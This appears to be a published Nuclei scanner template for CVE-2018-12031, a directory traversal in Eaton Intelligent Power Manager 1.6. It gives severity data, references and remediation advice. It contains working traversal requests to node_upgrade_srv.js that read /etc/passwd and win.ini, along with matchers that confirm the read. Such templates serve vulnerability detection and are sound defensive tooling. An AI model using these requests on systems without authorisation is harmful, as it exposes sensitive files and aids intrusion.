CVE-2018-12031: Eaton Intelligent Power Manager 1.6 - Directory Traversal

2025-08-01 Eaton Intelligent Power Manager PoC Public

Description

Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.

PoC

id: CVE-2018-12031

info:
  name: Eaton Intelligent Power Manager 1.6 - Directory Traversal
  author: daffainfo
  severity: critical
  description: Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of Eaton Intelligent Power Manager to mitigate this vulnerability.
  reference:
    - https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion
    - https://www.exploit-db.com/exploits/48614
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12031
    - https://github.com/0xT11/CVE-POC
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-12031
    cwe-id: CWE-22
    epss-score: 0.19762
    epss-percentile: 0.97268
    cpe: cpe:2.3:a:eaton:intelligent_power_manager:1.6:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eaton
    product: intelligent_power_manager
  tags: cve,cve2018,edb,lfi,eaton,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203e6b7ead6a0d61aa48a8e37ae87ed63e879dfb06d3b455c77607ae64b3a00b20022100e94635d5c47a65d542bfd22025d002e0befdf18c7bb27e1924e3eb57aa18105a:922c64590222798bb761d5b6d8e72950

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